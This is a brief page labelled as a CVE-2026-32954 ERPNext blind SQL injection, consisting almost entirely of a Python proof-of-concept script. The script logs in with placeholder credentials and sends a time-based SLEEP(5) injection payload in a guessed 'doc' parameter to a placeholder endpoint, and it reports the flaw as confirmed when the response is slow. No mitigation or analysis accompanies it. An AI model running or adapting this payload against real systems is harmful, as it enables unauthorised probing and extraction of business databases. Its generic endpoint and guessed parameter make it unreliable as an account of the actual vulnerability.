CVE-2026-32954 ERPNext盲SQL注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32954 (Blind SQL Injection in ERPNext) import requests import time target_url = "http://target-erpnext.com/api/method/some.vulnerable.endpoint" session = requests.Session() # Authenticate if required (PR:L) login_data = {"usr": "user", "pwd": "password"} session.post("http://target-erpnext.com/api/method/login", data=login_data) # Payload to check if response time increases (Time-Based Blind) payload = "1' AND (SELECT SLEEP(5))-- -" params = {"doc": payload} # 'doc' is a common parameter in ERPNext print(f"Sending payload to {target_url}") start_time = time.time() try: response = session.get(target_url, params=params, timeout=10) elapsed = time.time() - start_time if elapsed > 5: print(f"[+] Vulnerability Confirmed! Response time: {elapsed:.2f}s") else: print(f"[-] Not vulnerable or parameter incorrect. Response time: {elapsed:.2f}s") except Exception as e: print(f"Error: {e}")